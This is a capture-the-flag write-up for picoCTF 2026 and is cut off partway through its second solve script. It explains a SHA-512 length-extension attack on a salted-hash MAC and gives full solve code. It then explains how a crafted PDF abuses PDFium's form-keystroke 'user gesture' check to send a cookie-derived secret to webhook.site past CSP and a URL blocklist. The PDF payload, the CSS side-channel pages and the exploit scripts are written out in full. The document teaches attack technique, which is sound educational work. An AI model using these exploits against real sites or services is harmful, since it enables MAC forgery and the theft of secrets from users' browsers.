Introduction
PicoCTF 2026 just dropped and I won with Cosmic Bit Flip this year. See the leaderboard here. AI proved itself here, auto-solving all challenges in a very short time span.
crypto/Secure Dot Product
Our intern thought it was a great idea to vibe code a secure dot product server using our AES key. Having taken a class in linear algebra, they’re confident the server can’t ever leak our key, but I’m not so sure…
Reading the source
Here’s the full server. It generates a 32-byte AES key, encrypts the flag, then runs a dot product oracle:
import astimport hashlibimport osimport randomimport secretsimport sysfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad
KEY_SIZE = 32SALT_SIZE = 256
class SecureDotProductService: def __init__(self, key): self.key_vector = [byte for byte in key] self.salt = secrets.token_bytes(SALT_SIZE) self.trusted_vectors = self.generate_trusted_vectors()
def hash_vector(self, vector): vector_encoding = vector[1:-1].encode('latin-1') return hashlib.sha512(self.salt + vector_encoding).digest().hex()
def generate_trusted_vectors(self): trusted_vectors = []
for _ in range(5): length = random.randint(1, 32) vector = [random.randint(-2**8, 2**8) for _ in range(length)] trusted_vectors.append((vector, self.hash_vector(str(vector))))
return trusted_vectors
def parse_vector(self, vector): sanitized = "".join(c if c in '0123456789,[]' else '' for c in vector) try: parsed = ast.literal_eval(sanitized) except (ValueError, SyntaxError, TypeError): return None
if isinstance(parsed, list): return parsed return None
def dot_product(self, vector): return sum(vector_entry * key_entry for vector_entry, key_entry in zip(vector, self.key_vector))
def run(self): print("============== Secure Dot Product Service ==============") print("I will compute the dot product of my key vector with any trustworthy vector you choose!") print("Here are the vectors I trust won't leak my key:")
for pair in self.trusted_vectors: print(pair)
while True: print("========================================================") vector_input = input("Enter your vector: ") vector_input = vector_input.encode().decode('unicode_escape') vector = self.parse_vector(vector_input) vector_hash = self.hash_vector(vector_input)
if not vector: print("Invalid vector! Please enter your vector as a list of ints.") continue
input_hash = input("Enter its salted hash: ")
if not vector_hash == input_hash: print("Untrusted vector detected!") break
dot_product = self.dot_product(vector)
print("The computed dot product is: " + str(dot_product))
def read_flag(): flag_path = 'flag.txt'
if os.path.exists(flag_path): with open(flag_path, 'r') as f: flag = f.read().strip() else: print("flag.txt not found in the current directory.") sys.exit()
return flag
def encrypt_flag(flag, key): iv = secrets.token_bytes(16) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(flag.encode(), AES.block_size))
return iv, ciphertext
def main(): flag = read_flag() key = secrets.token_bytes(KEY_SIZE) iv, ciphertext = encrypt_flag(flag, key)
print("==================== Encrypted Flag ====================") print(f"IV: {iv.hex()}") print(f"Ciphertext: {ciphertext.hex()}")
service = SecureDotProductService(key) service.run()
if __name__ == "__main__": main()There’s a lot here so let me break down the important parts.
How the oracle works
The server gives us 5 “trusted” random vectors (length 1–32, entries in ) alongside their salted SHA-512 hashes. Then it lets us query dot products in a loop, but only if we can provide the correct hash.
Three things jump out. First, the hash function (line 21) is an insecure MAC—it’s just sha512(salt || message):
def hash_vector(self, vector): vector_encoding = vector[1:-1].encode('latin-1') return hashlib.sha512(self.salt + vector_encoding).digest().hex()Second, our input gets unicode_escape decoded (line 58), and then the same decoded string is used for both parsing and hashing (lines 59–60):
vector_input = input("Enter your vector: ")vector_input = vector_input.encode().decode('unicode_escape')vector = self.parse_vector(vector_input)vector_hash = self.hash_vector(vector_input)Third, the parser strips everything except 0123456789,[] (line 35), so non-printable bytes just vanish:
def parse_vector(self, vector): sanitized = "".join(c if c in '0123456789,[]' else '' for c in vector) try: parsed = ast.literal_eval(sanitized) except (ValueError, SyntaxError, TypeError): return NoneThe intern’s linear algebra argument
The intern’s logic is straightforward: the key has 32 unknown bytes, and we only get 5 dot products. That’s 5 equations in 32 unknowns, a massively underdetermined system. No amount of linear algebra can recover the key from just 5 inner products.
This reasoning is actually correct! If we could only query those 5 vectors, we’d be stuck.
But the MAC construction is broken.
The vulnerability: sha512(salt || message)
Important
The hash is computed as sha512(salt + message). This is the textbook insecure MAC construction—it’s vulnerable to a hash length extension attack.
SHA-512 is based on the Merkle–Damgard construction. The output hash is literally the internal state after processing all blocks. Given:
we can compute:
for any extension of our choice, without knowing the salt. We just initialize a new SHA-512 computation starting from state and feed in .
The padding is deterministic (it’s the standard SHA-512 padding for the original message length), so we know exactly what bytes sit between and .
Why this is exploitable here
There are two more pieces that make this work:
1. unicode_escape lets us inject arbitrary bytes.
The vector_input.encode().decode('unicode_escape') on our input means if we send the literal text \x80, it gets decoded into the actual byte 0x80. We can inject the SHA-512 padding bytes this way.
2. Sanitization strips non-digit characters.
The parser only keeps 0123456789,[] and throws everything else away. The SHA-512 padding bytes (\x80, null bytes, length encoding) are all non-printable—they vanish during sanitization.
So the parsed vector only sees the original trusted entries plus whatever extension entries we append.
Putting it together
Say the server gives us a trusted vector [5, 3] with hash .
The hash was computed on the string "5, 3" (that’s str([5, 3])[1:-1]). Using length extension, we can compute:
We construct our input as:
[5, 3\x80\x00\x00...\x00\x08\x20,0,0,...,0,1,0,...,0]After unicode_escape decoding, the string contains the original content, then padding bytes, then our extension. The server hashes [1:-1] of this string, which is "5, 3" + padding + ",0,0,...,0,1,0,...,0"—exactly matching our length-extended hash .
After sanitization, the padding bytes vanish and we get:
[5,3,0,0,...,0,1,0,...,0]A 32-element vector with a 1 at position of our choosing. The dot product gives us:
And from the base query (just [5, 3]):
Subtracting:
We can isolate every single key byte.
The full attack
Note
One minor detail: the sanitizer strips minus signs too, so [-5, 3] parses as [5, 3]. This doesn’t affect the attack since we use absolute values in our equations.
- Pick the shortest trusted vector of length
- Query the base dot product:
- For each : extend with a
1at position , get . Recover . - For through : use the base equations from all 5 trusted vectors. Each gives a linear equation in the first unknowns (after subtracting the now-known contributions). Solve the system.
- Decrypt the flag with the recovered 32-byte AES key.
Implementation
The SHA-512 length extension needs us to reimplement the compression function. The core idea: parse the known hash into 8 state words, then continue processing extension blocks from that state.
def sha512_length_extend(known_hash_hex, known_msg_bytes, salt_len, extension_bytes): state = struct.unpack('>8Q', bytes.fromhex(known_hash_hex))
original_len = salt_len + len(known_msg_bytes) padding = sha512_pad(original_len) padded_len = original_len + len(padding)
forged_suffix = known_msg_bytes + padding + extension_bytes
# process extension starting from the known state total_len = padded_len + len(extension_bytes) ext_padding = sha512_pad(total_len) data = extension_bytes + ext_padding
for i in range(0, len(data), 128): state = sha512_compress(state, data[i:i+128])
return struct.pack('>8Q', *state).hex(), forged_suffixFor each query, we encode the padding bytes as \xNN escape sequences so that unicode_escape decoding produces the exact raw bytes we need:
def bytes_to_escaped(b): return ''.join('\\x{:02x}'.format(byte) for byte in b)
# payload: [ + original_content + escaped_padding + extension + ]payload = '[' + original_content + bytes_to_escaped(padding_bytes) + ext_str + ']'The server’s unicode_escape decoding turns our \xNN text into actual bytes. Sanitization strips them. The hash matches our length-extended value. Clean.
Running it
$ python3 solve.py REMOTE HOST=lonely-island.picoctf.net PORT=51773[+] Opening connection to lonely-island.picoctf.net on port 51773: Done[*] IV: b72ae6cf1782e2164f403c0b17734e54[*] Using shortest vector (length 1): [131][*] Base dot product: 15196[*] key[ 1] = 104[*] key[ 2] = 66...[*] key[31] = 127[*] key[ 0] = 116[*] Key: 74684226745ea09aff63bcc36b13e09a772a5aa92df8d44dacf90435046bd87f[+] Flag: picoCTF{n0t_so_s3cure_.x_w1th_sh@512_REDACTED}We got lucky with a length-1 trusted vector, which makes the solve trivial: , so , and all other bytes come from single extensions. 32 queries total.
▸ Full solve.py (click to expand)
#!/usr/bin/env python3from pwn import *import structimport astimport numpy as npfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad
# ======================== SHA-512 Length Extension ========================
SHA512_K = [ 0x428a2f98d728ae22, 0x7137449123ef65cd, 0xb5c0fbcfec4d3b2f, 0xe9b5dba58189dbbc, 0x3956c25bf348b538, 0x59f111f1b605d019, 0x923f82a4af194f9b, 0xab1c5ed5da6d8118, 0xd807aa98a3030242, 0x12835b0145706fbe, 0x243185be4ee4b28c, 0x550c7dc3d5ffb4e2, 0x72be5d74f27b896f, 0x80deb1fe3b1696b1, 0x9bdc06a725c71235, 0xc19bf174cf692694, 0xe49b69c19ef14ad2, 0xefbe4786384f25e3, 0x0fc19dc68b8cd5b5, 0x240ca1cc77ac9c65, 0x2de92c6f592b0275, 0x4a7484aa6ea6e483, 0x5cb0a9dcbd41fbd4, 0x76f988da831153b5, 0x983e5152ee66dfab, 0xa831c66d2db43210, 0xb00327c898fb213f, 0xbf597fc7beef0ee4, 0xc6e00bf33da88fc2, 0xd5a79147930aa725, 0x06ca6351e003826f, 0x142929670a0e6e70, 0x27b70a8546d22ffc, 0x2e1b21385c26c926, 0x4d2c6dfc5ac42aed, 0x53380d139d95b3df, 0x650a73548baf63de, 0x766a0abb3c77b2a8, 0x81c2c92e47edaee6, 0x92722c851482353b, 0xa2bfe8a14cf10364, 0xa81a664bbc423001, 0xc24b8b70d0f89791, 0xc76c51a30654be30, 0xd192e819d6ef5218, 0xd69906245565a910, 0xf40e35855771202a, 0x106aa07032bbd1b8, 0x19a4c116b8d2d0c8, 0x1e376c085141ab53, 0x2748774cdf8eeb99, 0x34b0bcb5e19b48a8, 0x391c0cb3c5c95a63, 0x4ed8aa4ae3418acb, 0x5b9cca4f7763e373, 0x682e6ff3d6b2b8a3, 0x748f82ee5defb2fc, 0x78a5636f43172f60, 0x84c87814a1f0ab72, 0x8cc702081a6439ec, 0x90befffa23631e28, 0xa4506cebde82bde9, 0xbef9a3f7b2c67915, 0xc67178f2e372532b, 0xca273eceea26619c, 0xd186b8c721c0c207, 0xeada7dd6cde0eb1e, 0xf57d4f7fee6ed178, 0x06f067aa72176fba, 0x0a637dc5a2c898a6, 0x113f9804bef90dae, 0x1b710b35131c471b, 0x28db77f523047d84, 0x32caab7b40c72493, 0x3c9ebe0a15c9bebc, 0x431d67c49c100d4c, 0x4cc5d4becb3e42b6, 0x597f299cfc657e2a, 0x5fcb6fab3ad6faec, 0x6c44198c4a475817,]
M64 = 0xFFFFFFFFFFFFFFFF
def rotr64(x, n): return ((x >> n) | (x << (64 - n))) & M64
def sha512_compress(state, block): W = list(struct.unpack('>16Q', block)) for i in range(16, 80): s0 = rotr64(W[i-15], 1) ^ rotr64(W[i-15], 8) ^ (W[i-15] >> 7) s1 = rotr64(W[i-2], 19) ^ rotr64(W[i-2], 61) ^ (W[i-2] >> 6) W.append((W[i-16] + s0 + W[i-7] + s1) & M64)
a, b, c, d, e, f, g, h = state for i in range(80): S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41) ch = (e & f) ^ ((~e & M64) & g) temp1 = (h + S1 + ch + SHA512_K[i] + W[i]) & M64 S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39) maj = (a & b) ^ (a & c) ^ (b & c) temp2 = (S0 + maj) & M64 h = g; g = f; f = e; e = (d + temp1) & M64 d = c; c = b; b = a; a = (temp1 + temp2) & M64
return tuple((sv + wv) & M64 for sv, wv in zip(state, (a, b, c, d, e, f, g, h)))
def sha512_pad(msg_len_bytes): bit_len = msg_len_bytes * 8 pad = b'\x80' k = (112 - (msg_len_bytes + 1) % 128) % 128 pad += b'\x00' * k pad += struct.pack('>QQ', 0, bit_len) return pad
def sha512_length_extend(known_hash_hex, known_msg_bytes, salt_len, extension_bytes): state = struct.unpack('>8Q', bytes.fromhex(known_hash_hex))
original_len = salt_len + len(known_msg_bytes) padding = sha512_pad(original_len) padded_len = original_len + len(padding)
forged_suffix = known_msg_bytes + padding + extension_bytes
total_len = padded_len + len(extension_bytes) ext_padding = sha512_pad(total_len) data = extension_bytes + ext_padding assert len(data) % 128 == 0
for i in range(0, len(data), 128): state = sha512_compress(state, data[i:i+128])
new_hash = struct.pack('>8Q', *state).hex() return new_hash, forged_suffix
# ======================== Exploit Logic ========================
SALT_SIZE = 256
def bytes_to_escaped(b): return ''.join('\\x{:02x}'.format(byte) for byte in b)
def do_query(p, payload_str, hash_hex): p.recvuntil(b'Enter your vector: ') p.sendline(payload_str.encode())
resp = p.recvuntil([b'Enter its salted hash: ', b'Invalid vector!']) if b'Invalid vector!' in resp: log.error("Server rejected vector as invalid!") return None
p.sendline(hash_hex.encode())
resp = p.recvuntil([b'The computed dot product is: ', b'Untrusted vector detected!']) if b'Untrusted vector' in resp: log.error("Hash mismatch!") return None
dp = int(p.recvline().strip()) return dp
def query_base(p, vec, hash_val): return do_query(p, str(vec), hash_val)
def query_extended(p, vec, hash_val, extension_entries): original_content = str(vec)[1:-1] original_content_bytes = original_content.encode('latin-1')
ext_str = ''.join(f',{e}' for e in extension_entries) ext_bytes = ext_str.encode('latin-1')
new_hash, forged_suffix = sha512_length_extend( hash_val, original_content_bytes, SALT_SIZE, ext_bytes )
padding_bytes = forged_suffix[len(original_content_bytes):-len(ext_bytes)] payload = '[' + original_content + bytes_to_escaped(padding_bytes) + ext_str + ']'
return do_query(p, payload, new_hash)
def main(): if args.REMOTE: p = remote(args.HOST or 'lonely-island.picoctf.net', int(args.PORT or 64888)) else: p = process(['python3', 'remote.py'])
# Read encrypted flag p.recvuntil(b'IV: ') iv = bytes.fromhex(p.recvline().strip().decode()) p.recvuntil(b'Ciphertext: ') ct = bytes.fromhex(p.recvline().strip().decode())
# Read trusted vectors p.recvuntil(b"Here are the vectors I trust won't leak my key:\n") trusted = [] for _ in range(5): line = p.recvline().strip().decode() vec, hash_val = ast.literal_eval(line) trusted.append((vec, hash_val))
# Sort by length (shortest first) trusted.sort(key=lambda x: len(x[0])) base_vec, base_hash = trusted[0] n_min = len(base_vec) log.info(f"Using shortest vector (length {n_min}): {base_vec}")
# Step 1: base dot product for shortest vector base_dp = query_base(p, base_vec, base_hash) log.info(f"Base dot product: {base_dp}")
# Step 2: extract key[n_min..31] via length extension key = [None] * 32 for j in range(n_min, 32): ext = [0] * (32 - n_min) ext[j - n_min] = 1 ext_dp = query_extended(p, base_vec, base_hash, ext) key[j] = ext_dp - base_dp log.info(f"key[{j:2d}] = {key[j]}")
# Step 3: solve for key[0..n_min-1] using all 5 trusted vectors if n_min == 1: key[0] = base_dp // abs(base_vec[0]) log.info(f"key[ 0] = {key[0]}") else: equations_A = [] equations_b = []
known_sum = sum(abs(base_vec[i]) * key[i] for i in range(n_min, min(len(base_vec), 32))) equations_A.append([abs(base_vec[i]) for i in range(n_min)]) equations_b.append(base_dp - known_sum)
for vec, hash_val in trusted[1:]: dp = query_base(p, vec, hash_val) known_sum = sum(abs(vec[i]) * key[i] for i in range(n_min, min(len(vec), 32))) coeffs = [abs(vec[i]) for i in range(min(n_min, len(vec)))] coeffs += [0] * (n_min - len(coeffs)) equations_A.append(coeffs) equations_b.append(dp - known_sum)
A_all = np.array(equations_A, dtype=np.float64) b_all = np.array(equations_b, dtype=np.float64) n_eq = len(equations_A)
if n_eq >= n_min: x, _, _, _ = np.linalg.lstsq(A_all, b_all, rcond=None) for i in range(n_min): key[i] = int(round(x[i])) else: n_free = n_min - n_eq A_pivot = A_all[:, :n_eq] A_free = A_all[:, n_eq:] found = False from itertools import product as iprod for free_vals in iprod(range(256), repeat=n_free): free_arr = np.array(free_vals, dtype=np.float64) rhs = b_all - A_free @ free_arr try: pivot_vals = np.linalg.solve(A_pivot, rhs) except np.linalg.LinAlgError: continue rounded = [int(round(v)) for v in pivot_vals] if all(0 <= v <= 255 and abs(v - pv) < 0.01 for v, pv in zip(rounded, pivot_vals)): for i in range(n_eq): key[i] = rounded[i] for i in range(n_free): key[n_eq + i] = free_vals[i] test_key = bytes(key) try: test_cipher = AES.new(test_key, AES.MODE_CBC, iv) test_flag = unpad(test_cipher.decrypt(ct), AES.block_size) test_flag.decode() found = True break except Exception: continue if not found: log.error("Brute force failed!") p.close() return
key_bytes = bytes(key) log.info(f"Key: {key_bytes.hex()}") cipher = AES.new(key_bytes, AES.MODE_CBC, iv) try: flag = unpad(cipher.decrypt(ct), AES.block_size) log.success(f"Flag: {flag.decode()}") except ValueError as e: log.error(f"Decryption failed: {e}")
p.close()
if __name__ == '__main__': main()Takeaway
The intern’s linear algebra argument was solid—5 equations in 32 unknowns really can’t leak a key. The problem was the MAC. Using sha512(secret || message) instead of HMAC let us forge hashes for arbitrary extended vectors, turning 5 trusted vectors into as many as we want.
picoCTF{n0t_so_s3cure_.x_w1th_sh@512_REDACTED}
web/paper-2
A piece of paper is a blank canvas, what do you want on yours?
This is paper again from corCTF 2025 except they killed the easy version. Same upload primitive—any file, any content type, served on the challenge origin—same /secret endpoint that sticks the bot’s secret cookie into a <body secret="..."> attribute and injects your payload parameter raw into the HTML, same 60-second window to leak the secret and hit /flag with it before GETDEL nukes the key.
What changed: the bot’s Chrome now has an enterprise policy that blocks everything except the challenge origin. URLBlocklist: ['*'], URLAllowlist: ['https://web']. And the CSP is default-src 'self' 'unsafe-inline'; script-src 'none' on every response, including uploaded pages. No JS anywhere. CSS and same-origin iframes/objects still work.
Here’s /secret:
'/secret': async (req: BunRequest): Promise<Response> => { const secret = req.cookies.get('secret') || '0123456789abcdef'.repeat(2); const payload = new URL(req.url, 'http://127.0.0.1').searchParams.get('payload') || '';
return new Response( `<body secret="${secret}">${secret}\n${payload}</body>`, headers('text/html') );},The secret goes into a secret attribute on <body>, and payload is injected raw—so CSS attribute selectors can match against the secret value, and we can inject arbitrary HTML minus scripts.
The v1 solve used JS on an attacker page to window.open() the /secret endpoint, CSS to conditionally hide objects, window.length to count frames and detect which character matched, and sendBeacon() to exfiltrate. That’s dead twice over: no JS to count frames, and nowhere off-site to send anything.
CSS detection, PDF exfiltration
The CSS part is straightforward. body[secret^="a1"] matches if the first two characters are a1, and you can gate which <object> tags are visible with display: none / display: block—Chrome won’t fetch the data URL of a hidden object. So CSS can detect characters of the secret. The problem is getting that information back out when there’s no JS and no external network.
Chrome’s PDF viewer (PDFium) has its own JavaScript engine, completely separate from the page. When you load a PDF via <object>, any JS embedded in it runs in a context that isn’t subject to the page’s CSP at all, and PDF JS has this.submitForm() which can make outbound HTTP requests.
Except submitForm is supposed to require a user gesture. PDFs should not be making unsolicited network requests. So the real question is why this requirement is bypassable.
The “user gesture” check in PDFium
submitForm in fxjs/cjs_document.cpp checks this before doing anything:
CJS_EventContext* pHandler = pRuntime->GetCurrentEventContext();if (!pHandler->IsUserGesture()) { return CJS_Result::Failure(JSMessage::kUserGestureRequiredError);}And IsUserGesture():
bool CJS_EventContext::IsUserGesture() const { switch (kind_) { case Kind::kFieldMouseDown: case Kind::kFieldMouseUp: case Kind::kFieldKeystroke: return true; default: return false; }}There’s no real activation tracking here. PDFium just checks whether the current JS is executing inside one of three event context enum values, and if kind_ == kFieldKeystroke, submitForm goes through. No transient activation token, no propagation from actual input events, no verification that a human did anything.
So: can you get code into a kFieldKeystroke context without any user interaction? Yes—programmatically setting a form field’s value triggers the field’s keystroke action (/AA /K), and that action runs in kFieldKeystroke. The path through PDFium source:
-
Document opens.
/OpenActionJS runs in akDocOpencontext:this.getField('q').value = 'x' -
CJS_Field::set_value()callsSetFieldValue(), which callspFormField->SetValue(strArray[0], NotificationOption::kNotify). ThekNotifyflag is what makes the whole thing work—it activates the form’s notification system. -
CPDF_FormField::SetValue()withkNotifycallsform_->NotifyBeforeValueChange(), which callsBeforeValueChange()on the form notification handler. -
CPDFSDK_InteractiveForm::BeforeValueChange()callsOnKeyStrokeCommit(), sees the field has a/AA /K(keystroke) additional action, and dispatches it:form_fill_env_->DoActionFieldJavaScript(action, CPDF_AAction::kKeyStroke, pFormField, &fa); -
RunFieldJavaScript()callscontext->OnField_Keystroke(), which setskind_ = Kind::kFieldKeystroke. -
Now the keystroke action JS is running in a
kFieldKeystrokecontext.IsUserGesture()returnstrue.submitFormgoes through.
The form notification system—designed for maintaining consistency through validation, formatting, and calculation triggers when a field changes—accidentally promotes kDocOpen actions to kFieldKeystroke privilege. The escalation path is kDocOpen (no gesture) → programmatic set_value → kNotify → BeforeValueChange → OnKeyStrokeCommit → /AA /K dispatched as kKeyStroke type → kind_ set to kFieldKeystroke → submitForm allowed.
Why CSP and the URL blocklist don’t help
There are two more layers that should stop this. Neither does.
The PDF plugin (PdfViewWebPlugin) runs in a MimeHandlerView guest frame—a cross-process OOPIF with its own security context, entirely separate from the embedding page. When submitForm fires, PdfViewWebPlugin::SubmitForm() sends the request through UrlLoader, configured with:
options.grant_universal_access = true;The request is tagged RequestContextType::PLUGIN / RequestDestination::kEmbed, and the grant_universal_access flag creates a universally-privileged opaque origin via GrantUniversalAccess(). The Chromium source comment reads: “When true, omit origin related checks. USE WITH CARE.”
Because the request goes out through the PDF plugin’s own loader rather than the page’s document context, the page’s CSP is never consulted—script-src, connect-src, form-action, none of it applies. And the enterprise URL blocklist targets navigations and standard frame/resource loads; plugin-initiated POSTs through WebAssociatedURLLoader with universal access are a different code path that the policy enforcement doesn’t cover.
Important
The result is that a PDF loaded via <object> can silently POST to any URL on the internet, past three separate security mechanisms that all looked like they should have stopped it.
The beacon PDF
The exploit constructs a minimal PDF-1.7 from scratch with an AcroForm containing one text field widget "q" with a /AA /K keystroke action, plus an OpenAction that starts the chain.
The OpenAction sets the field value:
this.getField('q').value='x';The keystroke handler reads this.URL—the URL the PDF was loaded from, including query parameters—and forwards it to webhook.site:
var u=this.URL;var i=u.indexOf('?');var qs=i>=0?u.substring(i+1):'';this.submitForm({cURL:'https://webhook.site/<token>?'+qs,bFDF:false,bEmpty:true,aFields:['q']});So if the object loads /paper/1?s=0&d=p&c=a1, the PDF extracts that query string and ships it off in the form submit. The exploit script just polls webhook.site’s API to see what came back.
The full chain
Putting it all together:
Main page (/paper/{main_id}) +-- <iframe> --> helper page (/paper/{helper_id}) | +-- <iframe> --> /secret?payload=<CSS + objects> | +-- <body secret="a1b2c3..."> | +-- <style> | | object { display: none } | | body[secret^="a1"] #p1 { display: block } | +-- <object id=p1 data="/paper/{beacon}?s=0&d=p&c=a1"> | +-- PDF JS fires, submitForm to webhook.site +-- <meta http-equiv="refresh" content="6.5;url=/paper/{next_stage}">Whichever <object> CSS leaves visible is the one Chrome actually loads, and that PDF immediately fires submitForm with the candidate value in the query string. Everything else stays hidden and never gets fetched.
Multi-stage recovery
The secret is 32 hex characters, and CSS ^= / $= only match from the start and end of the attribute value—there’s no “match at position N” selector. So the secret has to be recovered from both ends inward, two characters at a time. Eight stages, each leaking one hex pair from the prefix and one from the suffix, meeting in the middle.
Each stage uses 16 helper pages (one per high hex nibble 0–f), each containing 32 <object> tags: 16 prefix candidates and 16 suffix candidates. Across all 16 helpers, exactly one prefix object and one suffix object have their CSS selector match, causing those two beacon PDFs to fire. The exploit detects both callbacks via webhook.site polling, appends the new characters to the known prefix/suffix, and uploads the next stage with updated selectors.
Stages are chained by <meta http-equiv="refresh"> since there’s no JS to orchestrate navigation. After the delay fires, the bot auto-navigates to the next stage’s main page.
Upload IDs are sequential via redis.incr and each stage consumes exactly 17 IDs (16 helpers + 1 main), so every future ID can be predicted from the beacon’s initial ID. The meta refresh for stage N has to point at stage N+1’s main page before it exists—this works because IDs are deterministic. Every ID is verified after upload; if another user consumed one in between, the chain would silently desync, so the exploit fails fast on any mismatch.
The whole thing runs in about 57 seconds across 8 stages, fitting under the 60-second Redis TTL with roughly 3 seconds of slack. The first stage uses a 5-second meta refresh delay (extra time for the initial webhook.site round trip), subsequent stages use 6.5 seconds. Any shorter and the uploads would race the refresh.
Running it
$ python3 solve.py --base-url https://lonely-island.picoctf.net:50239 --insecure[+] webhook token: 3bdffef9-a7f8-4952-a6a7-3e3eba116f4d[+] beacon pdf: /paper/1[+] stage 0 page: /paper/18[+] visit response: 200 'visiting!'[+] stage 00: prefix=88 suffix=9b (5.74s)[+] uploaded stage 1 page: /paper/35[+] stage 01: prefix=8817 suffix=419b (6.32s)[+] stage 02: prefix=88175f suffix=90419b (7.39s)[+] stage 03: prefix=88175f01 suffix=6f90419b (7.15s)[+] stage 04: prefix=88175f01f8 suffix=ca6f90419b (7.76s)[+] stage 05: prefix=88175f01f844 suffix=8bca6f90419b (8.06s)[+] stage 06: prefix=88175f01f844c6 suffix=d68bca6f90419b (7.17s)[+] stage 07: prefix=88175f01f844c679 suffix=56d68bca6f90419b (6.88s)[+] recovered secret: 88175f01f844c67956d68bca6f90419b[+] flag response (200): picoCTF{i_l1ke_frames_on_my_canvas_953d5fff}▸ Full solve.py (click to expand)
#!/usr/bin/env python3import argparse, concurrent.futures, json, re, ssl, timeimport urllib.error, urllib.parse, urllib.request, uuid
HEX = "0123456789abcdef"HEX_PAIRS = [a + b for a in HEX for b in HEX]PAIR_SET = set(HEX_PAIRS)HELPERS_PER_STAGE = 16STAGE_STRIDE = HELPERS_PER_STAGE + 1STAGE_COUNT = 8
class NoRedirect(urllib.request.HTTPRedirectHandler): def redirect_request(self, req, fp, code, msg, headers, newurl): return None http_error_301 = http_error_302 = http_error_303 = http_error_307 = http_error_308 = \ urllib.request.HTTPRedirectHandler.http_error_302
def log(msg): print(msg, flush=True)
def build_opener(insecure): ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE return urllib.request.build_opener(NoRedirect(), urllib.request.HTTPSHandler(context=ctx))
def http_text(opener, method, url, *, data=None, headers=None): req = urllib.request.Request(url, data=data, method=method) for k, v in (headers or {}).items(): req.add_header(k, v) try: with opener.open(req, timeout=15) as r: return r.status, dict(r.headers.items()), r.read().decode() except urllib.error.HTTPError as e: return e.code, dict(e.headers.items()), e.read().decode()
def multipart_body(field, fname, ctype, data): b = f"----paper2-{uuid.uuid4().hex}" body = f"--{b}\r\nContent-Disposition: form-data; name=\"{field}\"; filename=\"{fname}\"\r\nContent-Type: {ctype}\r\n\r\n".encode() + data + f"\r\n--{b}--\r\n".encode() return body, b
def upload_bytes(opener, base, data, mime, fname): body, boundary = multipart_body("file", fname, mime, data) s, h, _ = http_text(opener, "POST", urllib.parse.urljoin(base+"/","upload"), data=body, headers={"Content-Type":f"multipart/form-data; boundary={boundary}"}) loc = h.get("Location") or h.get("location","") m = re.search(r"/paper/(\d+)", loc) if s not in {301,302,303,307,308} or not m: raise RuntimeError(f"upload failed: {s} {loc!r}") return int(m.group(1))
def create_webhook_token(): req = urllib.request.Request("https://webhook.site/token", data=b'{}', method="POST", headers={"Content-Type":"application/json"}) with urllib.request.urlopen(req, timeout=15) as r: return json.loads(r.read().decode())["uuid"]
def list_webhook_requests(token): url = f"https://webhook.site/token/{token}/requests?{urllib.parse.urlencode({'sorting':'newest','per_page':50})}" with urllib.request.urlopen(urllib.request.Request(url, headers={"Accept":"application/json"}), timeout=15) as r: return json.loads(r.read().decode())["data"]
def pdf_escape(v): return v.replace("\\","\\\\").replace("(","\\(").replace(")","\\)")
def build_beacon_pdf(token): wb = f"https://webhook.site/{token}" js_open = "this.getField('q').value='x';" js_k = f"var u=this.URL;var i=u.indexOf('?');var qs=i>=0?u.substring(i+1):'';this.submitForm({{cURL:'{wb}?'+qs,bFDF:false,bEmpty:true,aFields:['q']}});" stream = b"BT /F1 12 Tf 72 200 Td (Beacon) Tj ET" objects = [ "<< /Type /Catalog /Pages 2 0 R /AcroForm 7 0 R /OpenAction 8 0 R >>", "<< /Type /Pages /Count 1 /Kids [3 0 R] >>", f"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 300 300] /Resources << /Font << /F1 5 0 R >> >> /Annots [6 0 R] /Contents 4 0 R >>", f"<< /Length {len(stream)} >>\nstream\n{stream.decode()}\nendstream", "<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>", f"<< /Type /Annot /Subtype /Widget /FT /Tx /T (q) /Rect [50 50 250 80] /P 3 0 R /F 4 /DA (/F1 12 Tf 0 g) /AA << /K << /S /JavaScript /JS ({pdf_escape(js_k)}) >> >> >>", "<< /Fields [6 0 R] >>", f"<< /S /JavaScript /JS ({pdf_escape(js_open)}) >>", ] out = bytearray(b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n"); offsets = [0] for i, obj in enumerate(objects, 1): offsets.append(len(out)); out.extend(f"{i} 0 obj\n{obj}\nendobj\n".encode()) sx = len(out); out.extend(f"xref\n0 {len(objects)+1}\n".encode()); out.extend(b"0000000000 65535 f \n") for o in offsets[1:]: out.extend(f"{o:010d} 00000 n \n".encode()) out.extend(f"trailer\n<< /Size {len(objects)+1} /Root 1 0 R >>\nstartxref\n{sx}\n%%EOF\n".encode()) return bytes(out)
def build_helper_page(secret_url): return f'<!doctype html><iframe src="{secret_url}" width="1" height="1" style="border:0"></iframe>'.encode()
def build_helper_page_for_hi(prefix, suffix, hi, beacon_id, stage): parts = ["<style>object{display:none}"] for lo in HEX: parts.append(f'body[secret^="{prefix}{hi}{lo}"] #p{lo}{{display:block}}') for lo in HEX: parts.append(f'body[secret$="{hi}{lo}{suffix}"] #s{lo}{{display:block}}') parts.append("</style>") for lo in HEX: v = hi+lo parts.append(f'<object id=p{lo} data="/paper/{beacon_id}?{urllib.parse.urlencode({"s":stage,"d":"p","c":v})}" type=application/pdf width=1 height=1></object>') parts.append(f'<object id=s{lo} data="/paper/{beacon_id}?{urllib.parse.urlencode({"s":stage,"d":"s","c":v})}" type=application/pdf width=1 height=1></object>') return build_helper_page("/secret?" + urllib.parse.urlencode({"payload":"".join(parts)}))
def build_main_stage_page(helper_ids, next_main_id, delay): html = ["<!doctype html>"] if next_main_id is not None: d = f"{delay:.2f}".rstrip("0").rstrip(".") html.append(f'<meta http-equiv="refresh" content="{d};url=/paper/{next_main_id}">') for hid in helper_ids: html.append(f'<iframe src="/paper/{hid}" width="1" height="1" style="border:0"></iframe>') return "".join(html).encode()
